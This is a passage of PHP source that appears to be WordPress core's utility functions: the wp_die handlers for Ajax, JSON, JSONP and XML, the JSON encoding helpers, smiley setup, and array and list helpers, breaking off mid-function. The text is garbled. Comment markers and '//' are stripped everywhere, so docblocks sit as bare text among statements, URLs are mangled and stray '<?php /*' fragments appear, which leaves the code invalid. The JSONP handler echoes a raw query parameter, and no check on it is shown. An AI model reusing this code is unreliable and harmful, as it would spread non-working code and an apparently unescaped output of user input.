border-bottom: 1px solid #dadada; clear: both; color: #666; font-size: 24px; margin: 30px 0 0 0; padding: 0; padding-bottom: 7px; } #error-page { margin-top: 50px; } #error-page p, #error-page .wp-die-message { font-size: 14px; line-height: 1.5; margin: 25px 0 20px; } #error-page code { font-family: Consolas, Monaco, monospace; } ul li { margin-bottom: 10px; font-size: 14px ; } a { color: #0073aa; } a:hover, a:active { color: #006799; } a:focus { color: #124964; -webkit-box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); outline: none; } .button { background: #f3f5f6; border: 1px solid #016087; color: #016087; display: inline-block; text-decoration: none; font-size: 13px; line-height: 2; height: 28px; margin: 0; padding: 0 10px 1px; cursor: pointer; -webkit-border-radius: 3px; -webkit-appearance: none; border-radius: 3px; white-space: nowrap; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; vertical-align: top; } .button.button-large { line-height: 2.30769231; min-height: 32px; padding: 0 12px; } .button:hover, .button:focus { background: #f1f1f1; } .button:focus { background: #f3f5f6; border-color: #007cba; -webkit-box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px #007cba; color: #016087; outline: 2px solid transparent; outline-offset: 0; } .button:active { background: #f3f5f6; border-color: #7e8993; -webkit-box-shadow: none; box-shadow: none; } <?php /* if ( 'rtl' === $text_direction ) { echo 'body { font-family: Tahoma, Arial; }'; } ?> </style> </head> <body id="error-page"> <?php /* endif; ! did_action( 'admin_head' ) ?> <?php /* echo $message; ?> </body> </html> <?php /* if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays Ajax response with an error message. * * This is the handler for wp_die() when processing Ajax requests. * * @since 3.4.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title (unused). Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _ajax_wp_die_handler( $message, $title = '', $args = array() ) { Set default 'response' to 200 for Ajax requests. $args = wp_parse_args( $args, array( 'response' => 200 ) ); list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { This is intentional. For backward-compatibility, support passing null here. if ( null !== $args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } if ( is_scalar( $message ) ) { $message = (string) $message; } else { $message = '0'; } if ( $parsed_args['exit'] ) { die( $message ); } echo $message; } * * Kills WordPress execution and displays JSON response with an error message. * * This is the handler for wp_die() when processing JSON requests. * * @since 5.1.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _json_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( ! headers_sent() ) { header( "Content-Type: application/json; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo wp_json_encode( $data ); if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays JSONP response with an error message. * * This is the handler for wp_die() when processing JSONP requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _jsonp_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $data = array( 'code' => $parsed_args['code'], 'message' => $message, 'data' => array( 'status' => $parsed_args['response'], ), 'additional_errors' => $parsed_args['additional_errors'], ); if ( ! headers_sent() ) { header( "Content-Type: application/javascript; charset={$parsed_args['charset']}" ); header( 'X-Content-Type-Options: nosniff' ); header( 'X-Robots-Tag: noindex' ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } $result = wp_json_encode( $data ); $jsonp_callback = $_GET['_jsonp']; echo '' . $jsonp_callback . '(' . $result . ')'; if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XMLRPC requests. * * @since 3.2.0 * @access private * * @global wp_xmlrpc_server $wp_xmlrpc_server * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) { global $wp_xmlrpc_server; list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( ! headers_sent() ) { nocache_headers(); } if ( $wp_xmlrpc_server ) { $error = new IXR_Error( $parsed_args['response'], $message ); $wp_xmlrpc_server->output( $error->getXml() ); } if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays XML response with an error message. * * This is the handler for wp_die() when processing XML requests. * * @since 5.2.0 * @access private * * @param string $message Error message. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _xml_wp_die_handler( $message, $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); $message = htmlspecialchars( $message ); $title = htmlspecialchars( $title ); $xml = <<<EOD <error> <code>{$parsed_args['code']}</code> <title><![CDATA[{$title}]]></title> <message><![CDATA[{$message}]]></message> <data> <status>{$parsed_args['response']}</status> </data> </error> EOD; if ( ! headers_sent() ) { header( "Content-Type: text/xml; charset={$parsed_args['charset']}" ); if ( null !== $parsed_args['response'] ) { status_header( $parsed_args['response'] ); } nocache_headers(); } echo $xml; if ( $parsed_args['exit'] ) { die(); } } * * Kills WordPress execution and displays an error message. * * This is the handler for wp_die() when processing APP requests. * * @since 3.4.0 * @since 5.1.0 Added the $title and $args parameters. * @access private * * @param string $message Optional. Response to print. Default empty string. * @param string $title Optional. Error title (unused). Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. function _scalar_wp_die_handler( $message = '', $title = '', $args = array() ) { list( $message, $title, $parsed_args ) = _wp_die_process_input( $message, $title, $args ); if ( $parsed_args['exit'] ) { if ( is_scalar( $message ) ) { die( (string) $message ); } die(); } if ( is_scalar( $message ) ) { echo (string) $message; } } * * Processes arguments passed to wp_die() consistently for its handlers. * * @since 5.1.0 * @access private * * @param string|WP_Error $message Error message or WP_Error object. * @param string $title Optional. Error title. Default empty string. * @param string|array $args Optional. Arguments to control behavior. Default empty array. * @return array { * Processed arguments. * * @type string $0 Error message. * @type string $1 Error title. * @type array $2 Arguments to control behavior. * } function _wp_die_process_input( $message, $title = '', $args = array() ) { $defaults = array( 'response' => 0, 'code' => '', 'exit' => true, 'back_link' => false, 'link_url' => '', 'link_text' => '', 'text_direction' => '', 'charset' => 'utf-8', 'additional_errors' => array(), ); $args = wp_parse_args( $args, $defaults ); if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) { if ( ! empty( $message->errors ) ) { $errors = array(); foreach ( (array) $message->errors as $error_code => $error_messages ) { foreach ( (array) $error_messages as $error_message ) { $errors[] = array( 'code' => $error_code, 'message' => $error_message, 'data' => $message->get_error_data( $error_code ), ); } } $message = $errors[0]['message']; if ( empty( $args['code'] ) ) { $args['code'] = $errors[0]['code']; } if ( empty( $args['response'] ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['status'] ) ) { $args['response'] = $errors[0]['data']['status']; } if ( empty( $title ) && is_array( $errors[0]['data'] ) && ! empty( $errors[0]['data']['title'] ) ) { $title = $errors[0]['data']['title']; } unset( $errors[0] ); $args['additional_errors'] = array_values( $errors ); } else { $message = ''; } } $have_gettext = function_exists( '__' ); The $title and these specific $args must always have a non-empty value. if ( empty( $args['code'] ) ) { $args['code'] = 'wp_die'; } if ( empty( $args['response'] ) ) { $args['response'] = 500; } if ( empty( $title ) ) { $title = $have_gettext ? __( 'WordPress › Error' ) : 'WordPress › Error'; } if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) { $args['text_direction'] = 'ltr'; if ( function_exists( 'is_rtl' ) && is_rtl() ) { $args['text_direction'] = 'rtl'; } } if ( ! empty( $args['charset'] ) ) { $args['charset'] = _canonical_charset( $args['charset'] ); } return array( $message, $title, $args ); } * * Encodes a variable into JSON, with some sanity checks. * * @since 4.1.0 * @since 5.3.0 No longer handles support for PHP < 5.6. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $options Optional. Options to be passed to json_encode(). Default 0. * @param int $depth Optional. Maximum depth to walk through $data. Must be * greater than 0. Default 512. * @return string|false The JSON encoded string, or false if it cannot be encoded. function wp_json_encode( $data, $options = 0, $depth = 512 ) { $json = json_encode( $data, $options, $depth ); If json_encode() was successful, no need to do more sanity checking. if ( false !== $json ) { return $json; } try { $data = _wp_json_sanity_check( $data, $depth ); } catch ( Exception $e ) { return false; } return json_encode( $data, $options, $depth ); } * * Performs sanity checks on data that shall be encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see wp_json_encode() * * @throws Exception If depth limit is reached. * * @param mixed $data Variable (usually an array or object) to encode as JSON. * @param int $depth Maximum depth to walk through $data. Must be greater than 0. * @return mixed The sanitized data that shall be encoded to JSON. function _wp_json_sanity_check( $data, $depth ) { if ( $depth < 0 ) { throw new Exception( 'Reached depth limit' ); } if ( is_array( $data ) ) { $output = array(); foreach ( $data as $id => $el ) { Don't forget to sanitize the ID! if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } Check the element type, so that we're only recursing if we really have to. if ( is_array( $el ) || is_object( $el ) ) { $output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output[ $clean_id ] = _wp_json_convert_string( $el ); } else { $output[ $clean_id ] = $el; } } } elseif ( is_object( $data ) ) { $output = new stdClass(); foreach ( $data as $id => $el ) { if ( is_string( $id ) ) { $clean_id = _wp_json_convert_string( $id ); } else { $clean_id = $id; } if ( is_array( $el ) || is_object( $el ) ) { $output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 ); } elseif ( is_string( $el ) ) { $output->$clean_id = _wp_json_convert_string( $el ); } else { $output->$clean_id = $el; } } } elseif ( is_string( $data ) ) { return _wp_json_convert_string( $data ); } else { return $data; } return $output; } * * Converts a string to UTF-8, so that it can be safely encoded to JSON. * * @ignore * @since 4.1.0 * @access private * * @see _wp_json_sanity_check() * * @param string $input_string The string which is to be converted. * @return string The checked string. function _wp_json_convert_string( $input_string ) { static $use_mb = null; if ( is_null( $use_mb ) ) { $use_mb = function_exists( 'mb_convert_encoding' ); } if ( $use_mb ) { $encoding = mb_detect_encoding( $input_string, mb_detect_order(), true ); if ( $encoding ) { return mb_convert_encoding( $input_string, 'UTF-8', $encoding ); } else { return mb_convert_encoding( $input_string, 'UTF-8', 'UTF-8' ); } } else { return wp_check_invalid_utf8( $input_string, true ); } } * * Prepares response data to be serialized to JSON. * * This supports the JsonSerializable interface for PHP 5.2-5.3 as well. * * @ignore * @since 4.4.0 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3 * has been dropped. * @access private * * @param mixed $data Native representation. * @return bool|int|float|null|string|array Data ready for `json_encode()`. function _wp_json_prepare_data( $data ) { _deprecated_function( __FUNCTION__, '5.3.0' ); return $data; } * * Sends a JSON response back to an Ajax request. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $response Variable (usually an array or object) to encode as JSON, * then print and die. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. function wp_send_json( $response, $status_code = null, $options = 0 ) { if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { _doing_it_wrong( __FUNCTION__, sprintf( translators: 1: WP_REST_Response, 2: WP_Error __( 'Return a %1$s or %2$s object from your callback when using the REST API.' ), 'WP_REST_Response', 'WP_Error' ), '5.5.0' ); } if ( ! headers_sent() ) { header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) ); if ( null !== $status_code ) { status_header( $status_code ); } } echo wp_json_encode( $response, $options ); if ( wp_doing_ajax() ) { wp_die( '', '', array( 'response' => null, ) ); } else { die; } } * * Sends a JSON response back to an Ajax request, indicating success. * * @since 3.5.0 * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. function wp_send_json_success( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => true ); if ( isset( $data ) ) { $response['data'] = $data; } wp_send_json( $response, $status_code, $options ); } * * Sends a JSON response back to an Ajax request, indicating failure. * * If the `$data` parameter is a WP_Error object, the errors * within the object are processed and output as an array of error * codes and corresponding messages. All other types are output * without further processing. * * @since 3.5.0 * @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in. * @since 4.7.0 The `$status_code` parameter was added. * @since 5.6.0 The `$options` parameter was added. * * @param mixed $data Optional. Data to encode as JSON, then print and die. Default null. * @param int $status_code Optional. The HTTP status code to output. Default null. * @param int $options Optional. Options to be passed to json_encode(). Default 0. function wp_send_json_error( $data = null, $status_code = null, $options = 0 ) { $response = array( 'success' => false ); if ( isset( $data ) ) { if ( is_wp_error( $data ) ) { $result = array(); foreach ( $data->errors as $code => $messages ) { foreach ( $messages as $message ) { $result[] = array( 'code' => $code, 'message' => $message, ); } } $response['data'] = $result; } else { $response['data'] = $data; } } wp_send_json( $response, $status_code, $options ); } * * Checks that a JSONP callback is a valid JavaScript callback name. * * Only allows alphanumeric characters and the dot character in callback * function names. This helps to mitigate XSS attacks caused by directly * outputting user input. * * @since 4.6.0 * * @param string $callback Supplied JSONP callback function name. * @return bool Whether the callback function name is valid. function wp_check_jsonp_callback( $callback ) { if ( ! is_string( $callback ) ) { return false; } preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count ); return 0 === $illegal_char_count; } * * Reads and decodes a JSON file. * * @since 5.9.0 * * @param string $filename Path to the JSON file. * @param array $options { * Optional. Options to be used with `json_decode()`. * * @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays. * When `false`, JSON objects will be returned as objects. Default false. * } * * @return mixed Returns the value encoded in JSON in appropriate PHP type. * `null` is returned if the file is not found, or its content can't be decoded. function wp_json_file_decode( $filename, $options = array() ) { $result = null; $filename = wp_normalize_path( realpath( $filename ) ); if ( ! $filename ) { trigger_error( sprintf( translators: %s: Path to the JSON file. __( "File %s doesn't exist!" ), $filename ) ); return $result; } $options = wp_parse_args( $options, array( 'associative' => false ) ); $decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] ); if ( JSON_ERROR_NONE !== json_last_error() ) { trigger_error( sprintf( translators: 1: Path to the JSON file, 2: Error message. __( 'Error when decoding a JSON file at path %1$s: %2$s' ), $filename, json_last_error_msg() ) ); return $result; } return $decoded_file; } * * Retrieves the WordPress home page URL. * * If the constant named 'WP_HOME' exists, then it will be used and returned * by the function. This can be used to counter the redirection on your local * development environment. * * @since 2.2.0 * @access private * * @see WP_HOME * * @param string $url URL for the home location. * @return string Homepage location. function _config_wp_home( $url = '' ) { if ( defined( 'WP_HOME' ) ) { return untrailingslashit( WP_HOME ); } return $url; } * * Retrieves the WordPress site URL. * * If the constant named 'WP_SITEURL' is defined, then the value in that * constant will always be returned. This can be used for debugging a site * on your localhost while not having to change the database to your URL. * * @since 2.2.0 * @access private * * @see WP_SITEURL * * @param string $url URL to set the WordPress site location. * @return string The WordPress site URL. function _config_wp_siteurl( $url = '' ) { if ( defined( 'WP_SITEURL' ) ) { return untrailingslashit( WP_SITEURL ); } return $url; } * * Deletes the fresh site option. * * @since 4.7.0 * @access private function _delete_option_fresh_site() { update_option( 'fresh_site', '0' ); } * * Sets the localized direction for MCE plugin. * * Will only set the direction to 'rtl', if the WordPress locale has * the text direction set to 'rtl'. * * Fills in the 'directionality' setting, enables the 'directionality' * plugin, and adds the 'ltr' button to 'toolbar1', formerly * 'theme_advanced_buttons1' array keys. These keys are then returned * in the $mce_init (TinyMCE settings) array. * * @since 2.1.0 * @access private * * @param array $mce_init MCE settings array. * @return array Direction set for 'rtl', if needed by locale. function _mce_set_direction( $mce_init ) { if ( is_rtl() ) { $mce_init['directionality'] = 'rtl'; $mce_init['rtl_ui'] = true; if ( ! empty( $mce_init['plugins'] ) && ! str_contains( $mce_init['plugins'], 'directionality' ) ) { $mce_init['plugins'] .= ',directionality'; } if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) { $mce_init['toolbar1'] .= ',ltr'; } } return $mce_init; } * * Converts smiley code to the icon graphic file equivalent. * * You can turn off smilies, by going to the write setting screen and unchecking * the box, or by setting 'use_smilies' option to false or removing the option. * * Plugins may override the default smiley list by setting the $wpsmiliestrans * to an array, with the key the code the blogger types in and the value the * image file. * * The $wp_smiliessearch global is for the regular expression and is set each * time the function is called. * * The full list of smilies can be found in the function and won't be listed in * the description. Probably should create a Codex page for it, so that it is * available. * * @global array $wpsmiliestrans * @global array $wp_smiliessearch * * @since 2.2.0 function smilies_init() { global $wpsmiliestrans, $wp_smiliessearch; Don't bother setting up smilies if they are disabled. if ( ! get_option( 'use_smilies' ) ) { return; } if ( ! isset( $wpsmiliestrans ) ) { $wpsmiliestrans = array( ':mrgreen:' => 'mrgreen.png', ':neutral:' => "\xf0\x9f\x98\x90", ':twisted:' => "\xf0\x9f\x98\x88", ':arrow:' => "\xe2\x9e\xa1", ':shock:' => "\xf0\x9f\x98\xaf", ':smile:' => "\xf0\x9f\x99\x82", ':???:' => "\xf0\x9f\x98\x95", ':cool:' => "\xf0\x9f\x98\x8e", ':evil:' => "\xf0\x9f\x91\xbf", ':grin:' => "\xf0\x9f\x98\x80", ':idea:' => "\xf0\x9f\x92\xa1", ':oops:' => "\xf0\x9f\x98\xb3", ':razz:' => "\xf0\x9f\x98\x9b", ':roll:' => "\xf0\x9f\x99\x84", ':wink:' => "\xf0\x9f\x98\x89", ':cry:' => "\xf0\x9f\x98\xa5", ':eek:' => "\xf0\x9f\x98\xae", ':lol:' => "\xf0\x9f\x98\x86", ':mad:' => "\xf0\x9f\x98\xa1", ':sad:' => "\xf0\x9f\x99\x81", '8-)' => "\xf0\x9f\x98\x8e", '8-O' => "\xf0\x9f\x98\xaf", ':-(' => "\xf0\x9f\x99\x81", ':-)' => "\xf0\x9f\x99\x82", ':-?' => "\xf0\x9f\x98\x95", ':-D' => "\xf0\x9f\x98\x80", ':-P' => "\xf0\x9f\x98\x9b", ':-o' => "\xf0\x9f\x98\xae", ':-x' => "\xf0\x9f\x98\xa1", ':-|' => "\xf0\x9f\x98\x90", ';-)' => "\xf0\x9f\x98\x89", This one transformation breaks regular text with frequency. '8)' => "\xf0\x9f\x98\x8e", '8O' => "\xf0\x9f\x98\xaf", ':(' => "\xf0\x9f\x99\x81", ':)' => "\xf0\x9f\x99\x82", ':?' => "\xf0\x9f\x98\x95", ':D' => "\xf0\x9f\x98\x80", ':P' => "\xf0\x9f\x98\x9b", ':o' => "\xf0\x9f\x98\xae", ':x' => "\xf0\x9f\x98\xa1", ':|' => "\xf0\x9f\x98\x90", ';)' => "\xf0\x9f\x98\x89", ':!:' => "\xe2\x9d\x97", ':?:' => "\xe2\x9d\x93", ); } * * Filters all the smilies. * * This filter must be added before `smilies_init` is run, as * it is normally only run once to setup the smilies regex. * * @since 4.7.0 * * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code. $wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans ); if ( count( $wpsmiliestrans ) === 0 ) { return; } * NOTE: we sort the smilies in reverse key order. This is to make sure * we match the longest possible smilie (:???: vs :?) as the regular * expression used below is first-match krsort( $wpsmiliestrans ); $spaces = wp_spaces_regexp(); Begin first "subpattern". $wp_smiliessearch = '/(?<=' . $spaces . '|^)'; $subchar = ''; foreach ( (array) $wpsmiliestrans as $smiley => $img ) { $firstchar = substr( $smiley, 0, 1 ); $rest = substr( $smiley, 1 ); New subpattern? if ( $firstchar !== $subchar ) { if ( '' !== $subchar ) { $wp_smiliessearch .= ')(?=' . $spaces . '|$)'; End previous "subpattern". $wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; Begin another "subpattern". } $subchar = $firstchar; $wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:'; } else { $wp_smiliessearch .= '|'; } $wp_smiliessearch .= preg_quote( $rest, '/' ); } $wp_smiliessearch .= ')(?=' . $spaces . '|$)/m'; } * * Merges user defined arguments into defaults array. * * This function is used throughout WordPress to allow for both string or array * to be merged into another array. * * @since 2.2.0 * @since 2.3.0 `$args` can now also be an object. * * @param string|array|object $args Value to merge with $defaults. * @param array $defaults Optional. Array that serves as the defaults. * Default empty array. * @return array Merged user defined values with defaults. function wp_parse_args( $args, $defaults = array() ) { if ( is_object( $args ) ) { $parsed_args = get_object_vars( $args ); } elseif ( is_array( $args ) ) { $parsed_args =& $args; } else { wp_parse_str( $args, $parsed_args ); } if ( is_array( $defaults ) && $defaults ) { return array_merge( $defaults, $parsed_args ); } return $parsed_args; } * * Converts a comma- or space-separated list of scalar values to an array. * * @since 5.1.0 * * @param array|string $input_list List of values. * @return array Array of values. function wp_parse_list( $input_list ) { if ( ! is_array( $input_list ) ) { return preg_split( '/[\s,]+/', $input_list, -1, PREG_SPLIT_NO_EMPTY ); } Validate all entries of the list are scalar. $input_list = array_filter( $input_list, 'is_scalar' ); return $input_list; } * * Cleans up an array, comma- or space-separated list of IDs. * * @since 3.0.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $input_list List of IDs. * @return int[] Sanitized array of IDs. function wp_parse_id_list( $input_list ) { $input_list = wp_parse_list( $input_list ); return array_unique( array_map( 'absint', $input_list ) ); } * * Cleans up an array, comma- or space-separated list of slugs. * * @since 4.7.0 * @since 5.1.0 Refactored to use wp_parse_list(). * * @param array|string $input_list List of slugs. * @return string[] Sanitized array of slugs. function wp_parse_slug_list( $input_list ) { $input_list = wp_parse_list( $input_list ); return array_unique( array_map( 'sanitize_title', $input_list ) ); } * * Extracts a slice of an array, given a list of keys. * * @since 3.1.0 * * @param array $input_array The original array. * @param array $keys The list of keys. * @return array The array slice. function wp_array_slice_assoc( $input_array, $keys ) { $slice = array(); foreach ( $keys as $key ) { if ( isset( $input_array[ $key ] ) ) { $slice[ $key ] = $input_array[ $key ]; } } return $slice; } * * Sorts the keys of an array alphabetically. * * The array is passed by reference so it doesn't get returned * which mimics the behavior of `ksort()`. * * @since 6.0.0 * * @param array $input_array The array to sort, passed by reference. function wp_recursive_ksort( &$input_array ) { foreach ( $input_array as &$value ) { if ( is_array( $value ) ) { wp_recursive_ksort( $value ); } } ksort( $input_array ); } * * Accesses an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $input_array = array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * _wp_array_get( $input_array, array( 'a', 'b', 'c' ) ); * * @internal * * @since 5.6.0 * @access private * * @param array $input_array An array from which we want to retrieve some information. * @param array $path An array of keys describing the path with which to retrieve information. * @param mixed $default_value Optional. The return value if the path does not exist within the array, * or if `$input_array` or `$path` are not arrays. Default null. * @return mixed The value from the path specified. function _wp_array_get( $input_array, $path, $default_value = null ) { Confirm $path is valid. if ( ! is_array( $path ) || 0 === count( $path ) ) { return $default_value; } foreach ( $path as $path_element ) { if ( ! is_array( $input_array ) ) { return $default_value; } if ( is_string( $path_element ) || is_integer( $path_element ) || null === $path_element ) { * Check if the path element exists in the input array. * We check with `isset()` first, as it is a lot faster * than `array_key_exists()`. if ( isset( $input_array[ $path_element ] ) ) { $input_array = $input_array[ $path_element ]; continue; } * If `isset()` returns false, we check with `array_key_exists()`, * which also checks for `null` values. if ( array_key_exists( $path_element, $input_array ) ) { $input_array = $input_array[ $path_element ]; continue; } } return $default_value; } return $input_array; } * * Sets an array in depth based on a path of keys. * * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components * retain some symmetry between client and server implementations. * * Example usage: * * $input_array = array(); * _wp_array_set( $input_array, array( 'a', 'b', 'c', 1 ) ); * * $input_array becomes: * array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * * @internal * * @since 5.8.0 * @access private * * @param array $input_array An array that we want to mutate to include a specific value in a path. * @param array $path An array of keys describing the path that we want to mutate. * @param mixed $value The value that will be set. function _wp_array_set( &$input_array, $path, $value = null ) { Confirm $input_array is valid. if ( ! is_array( $input_array ) ) { return; } Confirm $path is valid. if ( ! is_array( $path ) ) { return; } $path_length = count( $path ); if ( 0 === $path_length ) { return; } foreach ( $path as $path_element ) { if ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) { return; } } for ( $i = 0; $i < $path_length - 1; ++$i ) { $path_element = $path[ $i ]; if ( ! array_key_exists( $path_element, $input_array ) || ! is_array( $input_array[ $path_element ] ) ) { $input_array[ $path_element ] = array(); } $input_array = &$input_array[ $path_element ]; } $input_array[ $path[ $i ] ] = $value; } * * This function is trying to replicate what * lodash's kebabCase (JS library) does in the client. * * The reason we need this function is that we do some processing * in both the client and the server (e.g.: we generate * preset classes from preset slugs) that needs to * create the same output. * * We can't remove or update the client's library due to backward compatibility * (some of the output of lodash's kebabCase is saved in the post content). * We have to make the server behave like the client. * * Changes to this function should follow updates in the client * with the same logic. * * @link https:github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369 * @link https:github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278 * @link https:github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php * @link https:github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php * * @param string $input_string The string to kebab-case. * * @return string kebab-cased-string. function _wp_to_kebab_case( $input_string ) { Ignore the camelCase names for variables so the names are the same as lodash so comparing and porting new changes is easier. phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase * Some notable things we've removed compared to the lodash version are: * * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper * * Used to compose unicode character classes. $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff'; $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf'; $rsPunctuationRange = '\\x{2000}-\\x{206f}'; $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}'; $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde'; $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange; * Used to compose unicode capture groups. $rsBreak = '[' . $rsBreakRange . ']'; $rsDigits = '\\d+'; The last lodash version in GitHub uses a single digit here and expands it when in use. $rsLower = '[' . $rsLowerRange . ']'; $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']'; $rsUpper = '[' . $rsUpperRange . ']'; * Used to compose unicode regexes. $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')'; $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')'; $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])'; $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])'; $regexp = '/' . implode( '|', array( $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')', $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')', $rsUpper . '?' . $rsMiscLower . '+', $rsUpper . '+', $rsOrdUpper, $rsOrdLower, $rsDigits, ) ) . '/u'; preg_match_all( $regexp, str_replace( "'", '', $input_string ), $matches ); return strtolower( implode( '-', $matches[0] ) ); phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } * * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } * * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * When using the `$field` argument, this function can also retrieve * a particular field from all matching objects, whereas wp_list_filter() * only does the filtering. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $input_list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @param bool|string $field Optional. A field from the object to place instead * of the entire object. Default false. * @return array A list of objects or object fields. function wp_filter_object_list( $input_list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $input_list ) ) { return array(); } $util = new WP_List_Util( $input_list ); $util->filter( $args, $operator ); if ( $field ) { 